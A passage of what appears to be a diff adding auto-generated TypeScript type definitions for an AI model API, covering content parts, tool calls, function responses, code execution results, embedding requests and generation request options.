undefined + */ + fileUri?: string +} + +export const toolCallB962C9D2ToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolCallB962C9D2ToolTypeEnumKey = + (typeof toolCallB962C9D2ToolTypeEnum)[keyof typeof toolCallB962C9D2ToolTypeEnum] + +/** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object + */ +export type ToolCallB962C9D2 = { + /** + * @description Optional. The name of the tool that was called. + * @type string | undefined + */ + toolName?: string + /** + * @description Required. The type of tool that was called. + * @type string | undefined + */ + toolType?: ToolCallB962C9D2ToolTypeEnumKey + /** + * @description Optional. The tool call arguments. Example: {"arg1" : "value1", "arg2" : "value2" , ...} + * @type object | undefined + */ + args?: { + [key: string]: unknown + } + /** + * @description Optional. Unique identifier of the tool call. The server returns the tool response with the matching `id`. + * @type string | undefined + */ + id?: string +} + +export const part32Dc32AdMediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type Part32Dc32AdMediaProcessingEnumKey = + (typeof part32Dc32AdMediaProcessingEnum)[keyof typeof part32Dc32AdMediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a multi-part `Content` message. A `Part` consists of data which has an associated datatype. A `Part` can only contain one of the accepted types in `Part.data`. A `Part` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type Part32Dc32Ad = { + /** + * @description Inline text. + * @type string | undefined + */ + text?: string + /** + * @description A predicted `FunctionCall` returned from the model that contains a string representing the `FunctionDeclaration.name` with the arguments and their values. + * @type object | undefined + */ + functionCall?: FunctionCall + /** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object | undefined + */ + toolResponse?: ToolResponseBa85Ee2D + /** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object | undefined + */ + audioTranscription?: AudioTranscription031E8B26 + /** + * @description Optional. Indicates if the part is thought from the model. + * @type boolean | undefined + */ + thought?: boolean + /** + * @description Media resolution for tokenization. + * @type object | undefined + */ + mediaResolution?: V1MainMediaResolution + /** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object | undefined + */ + executableCode?: ExecutableCode37080845 + /** + * @description Speech metadata for `text` parts. + * @type object | undefined + */ + speechMetadata?: SpeechMetadata + /** + * @description Raw media bytes. Text should not be sent as raw bytes, use the 'text' field. + * @type object | undefined + */ + inlineData?: Blob + /** + * @description Optional. An opaque signature for the thought so it can be reused in subsequent requests. + * @type string | undefined + */ + thoughtSignature?: string + /** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object | undefined + */ + codeExecutionResult?: CodeExecutionResultBd1E38Ce + /** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object | undefined + */ + videoMetadata?: VideoMetadataBdca892C + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: Part32Dc32AdMediaProcessingEnumKey + /** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object | undefined + */ + functionResponse?: FunctionResponse2D1Dfd1B + /** + * @description URI based data. + * @type object | undefined + */ + fileData?: FileDataA0043C6E + /** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object | undefined + */ + toolCall?: ToolCallB962C9D2 + /** + * @description Custom metadata associated with the Part. Agents using genai.Part as content representation may need to keep track of the additional information. For example it can be name of a file/source from which the Part originates or a way to multiplex multiple Part streams. + * @type object | undefined + */ + partMetadata?: { + [key: string]: unknown + } +} + +/** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object + */ +export type Content5F8C3D6B = { + /** + * @description Ordered `Parts` that constitute a single message. Parts may have different MIME types. + * @type array | undefined + */ + parts?: Part32Dc32Ad[] + /** + * @description Optional. The producer of the content. Must be either 'user' or 'model'. Useful to set for multi-turn conversations, otherwise can be left blank or unset. + * @type string | undefined + */ + role?: string +} + +export const embedContentConfigTaskTypeEnum = { + TASK_TYPE_UNSPECIFIED: 'TASK_TYPE_UNSPECIFIED', + RETRIEVAL_QUERY: 'RETRIEVAL_QUERY', + RETRIEVAL_DOCUMENT: 'RETRIEVAL_DOCUMENT', + SEMANTIC_SIMILARITY: 'SEMANTIC_SIMILARITY', + CLASSIFICATION: 'CLASSIFICATION', + CLUSTERING: 'CLUSTERING', + QUESTION_ANSWERING: 'QUESTION_ANSWERING', + FACT_VERIFICATION: 'FACT_VERIFICATION', + CODE_RETRIEVAL_QUERY: 'CODE_RETRIEVAL_QUERY', +} as const + +export type EmbedContentConfigTaskTypeEnumKey = + (typeof embedContentConfigTaskTypeEnum)[keyof typeof embedContentConfigTaskTypeEnum] + +/** + * @description Configurations for the EmbedContent request. + * @type object + */ +export type EmbedContentConfig = { + /** + * @description Optional. Whether to silently truncate the input content if it's longer than the maximum sequence length. + * @type boolean | undefined + */ + autoTruncate?: boolean + /** + * @description Optional. Reduced dimension for the output embedding. If set, excessive values in the output embedding are truncated from the end. + * + * Format: `int32` + * @type integer | undefined + */ + outputDimensionality?: number + /** + * @description Optional. Whether to extract audio from video content. + * @type boolean | undefined + */ + audioTrackExtraction?: boolean + /** + * @description Optional. The title for the text. + * @type string | undefined + */ + title?: string + /** + * @description Optional. The task type of the embedding. + * @type string | undefined + */ + taskType?: EmbedContentConfigTaskTypeEnumKey + /** + * @description Optional. Whether to enable OCR for document content. + * @type boolean | undefined + */ + documentOcr?: boolean +} + +export const embedContentRequestTaskTypeEnum = { + TASK_TYPE_UNSPECIFIED: 'TASK_TYPE_UNSPECIFIED', + RETRIEVAL_QUERY: 'RETRIEVAL_QUERY', + RETRIEVAL_DOCUMENT: 'RETRIEVAL_DOCUMENT', + SEMANTIC_SIMILARITY: 'SEMANTIC_SIMILARITY', + CLASSIFICATION: 'CLASSIFICATION', + CLUSTERING: 'CLUSTERING', + QUESTION_ANSWERING: 'QUESTION_ANSWERING', + FACT_VERIFICATION: 'FACT_VERIFICATION', + CODE_RETRIEVAL_QUERY: 'CODE_RETRIEVAL_QUERY', +} as const + +export type EmbedContentRequestTaskTypeEnumKey = + (typeof embedContentRequestTaskTypeEnum)[keyof typeof embedContentRequestTaskTypeEnum] + +/** + * @description Request containing the `Content` for the model to embed. + * @type object + */ +export type EmbedContentRequest = { + /** + * @description Optional. Deprecated: Please use EmbedContentConfig.output_dimensionality instead. Optional reduced dimension for the output embedding. If set, excessive values in the output embedding are truncated from the end. Supported by newer models since 2024 only. You cannot set this value if using the earlier model (`models/embedding-001`). + * + * Format: `int32` + * @type integer | undefined + */ + outputDimensionality?: number + /** + * @description Optional. Deprecated: Please use EmbedContentConfig.title instead. An optional title for the text. Only applicable when TaskType is `RETRIEVAL_DOCUMENT`. Note: Specifying a `title` for `RETRIEVAL_DOCUMENT` provides better quality embeddings for retrieval. + * @type string | undefined + */ + title?: string + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + content?: Content5F8C3D6B + /** + * @description Optional. Deprecated: Please use EmbedContentConfig.task_type instead. Optional task type for which the embeddings will be used. Not supported on earlier models (`models/embedding-001`). + * @type string | undefined + */ + taskType?: EmbedContentRequestTaskTypeEnumKey + /** + * @description Required. The model's resource name. This serves as an ID for the Model to use. This name should match a model name returned by the `ListModels` method. Format: `models/{model}` + * @type string | undefined + */ + model?: string + /** + * @description Configurations for the EmbedContent request. + * @type object | undefined + */ + embedContentConfig?: EmbedContentConfig +} + +/** + * @description A list of floats representing an embedding. + * @type object + */ +export type ContentEmbedding = { + /** + * @description The embedding values. This is for 3P users only and will not be populated for 1P calls. + * @type array | undefined + */ + values?: number[] + /** + * @description This field stores the soft tokens tensor frame shape (e.g. [1, 1, 256, 2048]). + * @type array | undefined + */ + shape?: number[] +} + +/** + * @description Metadata on the usage of the embedding request. + * @type object + */ +export type EmbeddingUsageMetadata = { + /** + * @description Output only. Number of tokens in the prompt. + * + * Format: `int32` + * @type integer | undefined + */ + promptTokenCount?: number + /** + * @description Output only. List of modalities that were processed in the request input. + * @type array | undefined + */ + promptTokenDetails?: ModalityTokenCount[] +} + +/** + * @description Request to get a text embedding from the model. + * @type object + */ +export type EmbedTextRequest = { + /** + * @description Required. The model name to use with the format model=models/{model}. + * @type string | undefined + */ + model?: string + /** + * @description Optional. The free-form input text that the model will turn into an embedding. + * @type string | undefined + */ + text?: string +} + +/** + * @description A list of floats representing the embedding. + * @type object + */ +export type Embedding = { + /** + * @description The embedding values. + * @type array | undefined + */ + value?: number[] +} + +/** + * @description The base unit of structured text. A `Message` includes an `author` and the `content` of the `Message`. The `author` is used to tag messages when they are fed to the model as text. + * @type object + */ +export type Message = { + /** + * @description Required. The text content of the structured `Message`. + * @type string | undefined + */ + content?: string + /** + * @description Optional. The author of this Message. This serves as a key for tagging the content of this Message when it is fed to the model as text. The author can be any alphanumeric string. + * @type string | undefined + */ + author?: string + /** + * @description A collection of source attributions for a piece of content. + * @type object | undefined + */ + citationMetadata?: CitationMetadata +} + +/** + * @description An input/output example used to instruct the Model. It demonstrates how the model should respond or format its response. + * @type object + */ +export type Example = { + /** + * @description The base unit of structured text. A `Message` includes an `author` and the `content` of the `Message`. The `author` is used to tag messages when they are fed to the model as text. + * @type object | undefined + */ + output?: Message + /** + * @description The base unit of structured text. A `Message` includes an `author` and the `content` of the `Message`. The `author` is used to tag messages when they are fed to the model as text. + * @type object | undefined + */ + input?: Message +} + +/** + * @description All of the structured input text passed to the model as a prompt. A `MessagePrompt` contains a structured set of fields that provide context for the conversation, examples of user input/model output message pairs that prime the model to respond in different ways, and the conversation history or list of messages representing the alternating turns of the conversation between the user and the model. + * @type object + */ +export type MessagePrompt = { + /** + * @description Required. A snapshot of the recent conversation history sorted chronologically. Turns alternate between two authors. If the total input size exceeds the model's `input_token_limit` the input will be truncated: The oldest items will be dropped from `messages`. + * @type array | undefined + */ + messages?: Message[] + /** + * @description Optional. Text that should be provided to the model first to ground the response. If not empty, this `context` will be given to the model first before the `examples` and `messages`. When using a `context` be sure to provide it with every request to maintain continuity. This field can be a description of your prompt to the model to help provide context and guide the responses. Examples: "Translate the phrase from English to French." or "Given a statement, classify the sentiment as happy, sad or neutral." Anything included in this field will take precedence over message history if the total input size exceeds the model's `input_token_limit` and the input request is truncated. + * @type string | undefined + */ + context?: string + /** + * @description Optional. Examples of what the model should generate. This includes both user input and the response that the model should emulate. These `examples` are treated identically to conversation messages except that they take precedence over the history in `messages`: If the total input size exceeds the model's `input_token_limit` the input will be truncated. Items will be dropped from `messages` before `examples`. + * @type array | undefined + */ + examples?: Example[] +} + +/** + * @description Text given to the model as a prompt. The Model will use this TextPrompt to Generate a text completion. + * @type object + */ +export type TextPrompt = { + /** + * @description Required. The prompt text. + * @type string | undefined + */ + text?: string +} + +export const generateContentRequestServiceTierEnum = { + unspecified: 'unspecified', + standard: 'standard', + flex: 'flex', + priority: 'priority', +} as const + +export type GenerateContentRequestServiceTierEnumKey = + (typeof generateContentRequestServiceTierEnum)[keyof typeof generateContentRequestServiceTierEnum] + +/** + * @description Request to generate a completion from the model. + * @type object + */ +export type GenerateContentRequest = { + /** + * @description Required. The content of the current conversation with the model. For single-turn queries, this is a single instance. For multi-turn queries like [chat](https://aistudio.google.com/docs/text-generation#multi-turn-conversations), this is a repeated field that contains the conversation history and the latest request. + * @type array | undefined + */ + contents?: Content[] + /** + * @description Optional. A list of unique `SafetySetting` instances for blocking unsafe content. This will be enforced on the `GenerateContentRequest.contents` and `GenerateContentResponse.candidates`. There should not be more than one setting for each `SafetyCategory` type. The API will block any contents and responses that fail to meet the thresholds set by these settings. This list overrides the default settings for each `SafetyCategory` specified in the safety_settings. If there is no `SafetySetting` for a given `SafetyCategory` provided in the list, the API will use the default safety setting for that category. Harm categories HARM_CATEGORY_HATE_SPEECH, HARM_CATEGORY_SEXUALLY_EXPLICIT, HARM_CATEGORY_DANGEROUS_CONTENT, HARM_CATEGORY_HARASSMENT, HARM_CATEGORY_CIVIC_INTEGRITY, HARM_CATEGORY_JAILBREAK are supported. Refer to the [guide](https://aistudio.google.com/docs/safety-settings) for detailed information on available safety settings. Also refer to the [Safety guidance](https://aistudio.google.com/docs/safety-guidance) to learn how to incorporate safety considerations in your AI applications. + * @type array | undefined + */ + safetySettings?: SafetySetting[] + /** + * @description The Tool configuration containing parameters for specifying `Tool` use in the request. + * @type object | undefined + */ + toolConfig?: ToolConfig + /** + * @description Configuration options for model generation and outputs. Not all parameters are configurable for every model. + * @type object | undefined + */ + generationConfig?: GenerationConfig + /** + * @description Optional. The service tier of the request. + * @type string | undefined + */ + serviceTier?: GenerateContentRequestServiceTierEnumKey + /** + * @description Optional. A list of `Tools` the `Model` may use to generate the next response. A `Tool` is a piece of code that enables the system to interact with external systems to perform an action, or set of actions, outside of knowledge and scope of the `Model`. Supported `Tool`s are `Function` and `code_execution`. Refer to the [Function calling](https://aistudio.google.com/docs/function-calling) and the [Code execution](https://aistudio.google.com/docs/code-execution) guides to learn more. + * @type array | undefined + */ + tools?: Tool[] + /** + * @description Optional. Configures the logging behavior for a given request. If set, it takes precedence over the project-level logging config. + * @type boolean | undefined + */ + store?: boolean + /** + * @description Optional. The name of the content [cached](https://aistudio.google.com/docs/caching) to use as context to serve the prediction. Format: `cachedContents/{cachedContent}` + * @type string | undefined + */ + cachedContent?: string + /** + * @description Optional. An opaque continuation token used to resume generation from a previous `GenerateContent` or `StreamGenerateContent` response that stopped with `finish_reason` set to `CONTINUATION`. Note that `contents` is mandatory and must identically replicate the prompt and conversation history from the initial request when continuation token is provided in a request. + * @type string | undefined + */ + continuationToken?: string + /** + * @description Required. The name of the `Model` to use for generating the completion. Format: `models/{model}`. + * @type string | undefined + */ + model?: string + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + systemInstruction?: Content + /** + * @description Optional. Labels with user-defined metadata for the request. Optional. Labels must follow standard unified Cloud label requirements: - Label keys must start with a letter. - Label keys and values can be no longer than 63 characters (Unicode codepoints) and can only contain lowercase letters, numeric characters, underscores, and dashes. - International characters are allowed. Usage: - Safety identifiers from aggregators: Use the key `safety_identifier` (e.g. `{"safety_identifier": "user_session_123"}`) + * @type object | undefined + */ + labels?: { + [key: string]: string + } +} + +/** + * @description Information about a single recognized word. + * @type object + */ +export type WordInfo1D09Ad99 = { + /** + * @description Optional. End offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Required. Transcript of the word. + * @type string | undefined + */ + word?: string + /** + * @description Optional. Start offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string +} + +/** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object + */ +export type AudioTranscription462Bf973 = { + /** + * @description Optional. Detailed word-level transcriptions and timing details. Present when word_timestamp is set. + * @type array | undefined + */ + words?: WordInfo1D09Ad99[] + /** + * @description Optional. A label identifying the speaker of this audio segment (e.g. "spk_1", "spk_2"). Present when diarization is set. + * @type string | undefined + */ + speakerLabel?: string + /** + * @description Required. The transcription text of this audio segment. + * @type string | undefined + */ + text?: string +} + +export const codeExecutionResult6973F20BOutcomeEnum = { + OUTCOME_UNSPECIFIED: 'OUTCOME_UNSPECIFIED', + OUTCOME_OK: 'OUTCOME_OK', + OUTCOME_FAILED: 'OUTCOME_FAILED', + OUTCOME_DEADLINE_EXCEEDED: 'OUTCOME_DEADLINE_EXCEEDED', +} as const + +export type CodeExecutionResult6973F20BOutcomeEnumKey = + (typeof codeExecutionResult6973F20BOutcomeEnum)[keyof typeof codeExecutionResult6973F20BOutcomeEnum] + +/** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object + */ +export type CodeExecutionResult6973F20B = { + /** + * @description Optional. The identifier of the `ExecutableCode` part this result is for. Only populated if the corresponding `ExecutableCode` has an id. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Contains stdout when code execution is successful, stderr or other description otherwise. + * @type string | undefined + */ + output?: string + /** + * @description Required. Outcome of the code execution. + * @type string | undefined + */ + outcome?: CodeExecutionResult6973F20BOutcomeEnumKey +} + +export const toolResponse8B16B73CToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolResponse8B16B73CToolTypeEnumKey = + (typeof toolResponse8B16B73CToolTypeEnum)[keyof typeof toolResponse8B16B73CToolTypeEnum] + +/** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object + */ +export type ToolResponse8B16B73C = { + /** + * @description Optional. The tool response. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Required. The type of tool that was called, matching the `tool_type` in the corresponding `ToolCall`. + * @type string | undefined + */ + toolType?: ToolResponse8B16B73CToolTypeEnumKey + /** + * @description Optional. The identifier of the tool call this response is for. + * @type string | undefined + */ + id?: string +} + +export const executableCode6Bfe2D04LanguageEnum = { + LANGUAGE_UNSPECIFIED: 'LANGUAGE_UNSPECIFIED', + PYTHON: 'PYTHON', +} as const + +export type ExecutableCode6Bfe2D04LanguageEnumKey = + (typeof executableCode6Bfe2D04LanguageEnum)[keyof typeof executableCode6Bfe2D04LanguageEnum] + +/** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object + */ +export type ExecutableCode6Bfe2D04 = { + /** + * @description Optional. Unique identifier of the `ExecutableCode` part. The server returns the `CodeExecutionResult` with the matching `id`. + * @type string | undefined + */ + id?: string + /** + * @description Required. The code to be executed. + * @type string | undefined + */ + code?: string + /** + * @description Required. Programming language of the `code`. + * @type string | undefined + */ + language?: ExecutableCode6Bfe2D04LanguageEnumKey +} + +/** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object + */ +export type VideoMetadata64Ecaa55 = { + /** + * @description Optional. The end offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Optional. The frame rate of the video sent to the model. If not specified, the default value will be 1.0. The fps range is (0.0, 24.0]. + * + * Format: `double` + * @type number | undefined + */ + fps?: number + /** + * @description Optional. The start offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string +} + +/** + * @description URI based data for function response. + * @type object + */ +export type FunctionResponseFileData870087B4 = { + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string + /** + * @description Optional. Display name of the file. Used to provide a label or filename to distinguish file data. + * @type string | undefined + */ + displayName?: string + /** + * @description The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string +} + +/** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object + */ +export type FunctionResponseBlob2D521745 = { + /** + * @description Raw bytes for media formats. + * @type string | undefined + */ + data?: string + /** + * @description The IANA standard MIME type of the source data. Examples: - image/png - image/jpeg If an unsupported MIME type is provided, an error will be returned. For a complete list of supported types, see [Supported file formats](https://aistudio.google.com/docs/file-input-methods#supported-content-types). + * @type string | undefined + */ + mimeType?: string + /** + * @description Optional. Display name of the blob. Used to provide a label or filename to distinguish blobs. + * @type string | undefined + */ + displayName?: string +} + +export const functionResponsePart917074C3MediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type FunctionResponsePart917074C3MediaProcessingEnumKey = + (typeof functionResponsePart917074C3MediaProcessingEnum)[keyof typeof functionResponsePart917074C3MediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a `FunctionResponse` message. A `FunctionResponsePart` consists of data which has an associated datatype. A `FunctionResponsePart` can only contain one of the accepted types in `FunctionResponsePart.data`. A `FunctionResponsePart` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type FunctionResponsePart917074C3 = { + /** + * @description URI based data for function response. + * @type object | undefined + */ + fileData?: FunctionResponseFileData870087B4 + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: FunctionResponsePart917074C3MediaProcessingEnumKey + /** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object | undefined + */ + inlineData?: FunctionResponseBlob2D521745 +} + +export const functionResponse62155Eb6SchedulingEnum = { + SCHEDULING_UNSPECIFIED: 'SCHEDULING_UNSPECIFIED', + SILENT: 'SILENT', + WHEN_IDLE: 'WHEN_IDLE', + INTERRUPT: 'INTERRUPT', +} as const + +export type FunctionResponse62155Eb6SchedulingEnumKey = + (typeof functionResponse62155Eb6SchedulingEnum)[keyof typeof functionResponse62155Eb6SchedulingEnum] + +/** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object + */ +export type FunctionResponse62155Eb6 = { + /** + * @description Optional. The identifier of the function call this response is for. Populated by the client to match the corresponding function call `id`. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Ordered `Parts` that constitute a function response. Parts may have different IANA MIME types. + * @type array | undefined + */ + parts?: FunctionResponsePart917074C3[] + /** + * @description Required. The function response in JSON object format. Callers can use any keys of their choice that fit the function's syntax to return the function output, e.g. "output", "result", etc. In particular, if the function call failed to execute, the response can have an "error" key to return error details to the model. Multimedia can be included by using a subobject containing a single "$ref" key whose value is the `inline_data.display_name` of a `FunctionResponsePart` holding the multimedia. See https://aistudio.google.com/docs/function-calling#multimodal. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Optional. Specifies how the response should be scheduled in the conversation. Only applicable to NON_BLOCKING function calls, is ignored otherwise. Defaults to WHEN_IDLE. + * @type string | undefined + */ + scheduling?: FunctionResponse62155Eb6SchedulingEnumKey + /** + * @description Optional. Signals that function call continues, and more responses will be returned, turning the function call into a generator. Is only applicable to NON_BLOCKING function calls, is ignored otherwise. If set to false, future responses will not be considered. It is allowed to return empty `response` with `will_continue=False` to signal that the function call is finished. This may still trigger the model generation. To avoid triggering the generation and finish the function call, additionally set `scheduling` to `SILENT`. + * @type boolean | undefined + */ + willContinue?: boolean + /** + * @description Required. The name of the function to call. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 128. + * @type string | undefined + */ + name?: string +} + +/** + * @description URI based data. + * @type object + */ +export type FileData82B3Cd6B = { + /** + * @description Optional. Specifies the name used to refer to this file to the model (e.g. "my_file.pdf"). Used as the file reference identifier when `verbalization_mode` is set to `REFERENCE_ONLY`. + * @type string | undefined + */ + displayName?: string + /** + * @description Optional. The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string +} + +export const toolCall94A21767ToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolCall94A21767ToolTypeEnumKey = + (typeof toolCall94A21767ToolTypeEnum)[keyof typeof toolCall94A21767ToolTypeEnum] + +/** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object + */ +export type ToolCall94A21767 = { + /** + * @description Optional. The name of the tool that was called. + * @type string | undefined + */ + toolName?: string + /** + * @description Required. The type of tool that was called. + * @type string | undefined + */ + toolType?: ToolCall94A21767ToolTypeEnumKey + /** + * @description Optional. The tool call arguments. Example: {"arg1" : "value1", "arg2" : "value2" , ...} + * @type object | undefined + */ + args?: { + [key: string]: unknown + } + /** + * @description Optional. Unique identifier of the tool call. The server returns the tool response with the matching `id`. + * @type string | undefined + */ + id?: string +} + +export const part37Dfc3BcMediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type Part37Dfc3BcMediaProcessingEnumKey = + (typeof part37Dfc3BcMediaProcessingEnum)[keyof typeof part37Dfc3BcMediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a multi-part `Content` message. A `Part` consists of data which has an associated datatype. A `Part` can only contain one of the accepted types in `Part.data`. A `Part` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type Part37Dfc3Bc = { + /** + * @description Inline text. + * @type string | undefined + */ + text?: string + /** + * @description A predicted `FunctionCall` returned from the model that contains a string representing the `FunctionDeclaration.name` with the arguments and their values. + * @type object | undefined + */ + functionCall?: FunctionCall + /** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object | undefined + */ + toolResponse?: ToolResponse8B16B73C + /** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object | undefined + */ + audioTranscription?: AudioTranscription462Bf973 + /** + * @description Optional. Indicates if the part is thought from the model. + * @type boolean | undefined + */ + thought?: boolean + /** + * @description Media resolution for tokenization. + * @type object | undefined + */ + mediaResolution?: V1MainMediaResolution + /** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object | undefined + */ + executableCode?: ExecutableCode6Bfe2D04 + /** + * @description Speech metadata for `text` parts. + * @type object | undefined + */ + speechMetadata?: SpeechMetadata + /** + * @description Raw media bytes. Text should not be sent as raw bytes, use the 'text' field. + * @type object | undefined + */ + inlineData?: Blob + /** + * @description Optional. An opaque signature for the thought so it can be reused in subsequent requests. + * @type string | undefined + */ + thoughtSignature?: string + /** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object | undefined + */ + codeExecutionResult?: CodeExecutionResult6973F20B + /** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object | undefined + */ + videoMetadata?: VideoMetadata64Ecaa55 + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: Part37Dfc3BcMediaProcessingEnumKey + /** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object | undefined + */ + functionResponse?: FunctionResponse62155Eb6 + /** + * @description URI based data. + * @type object | undefined + */ + fileData?: FileData82B3Cd6B 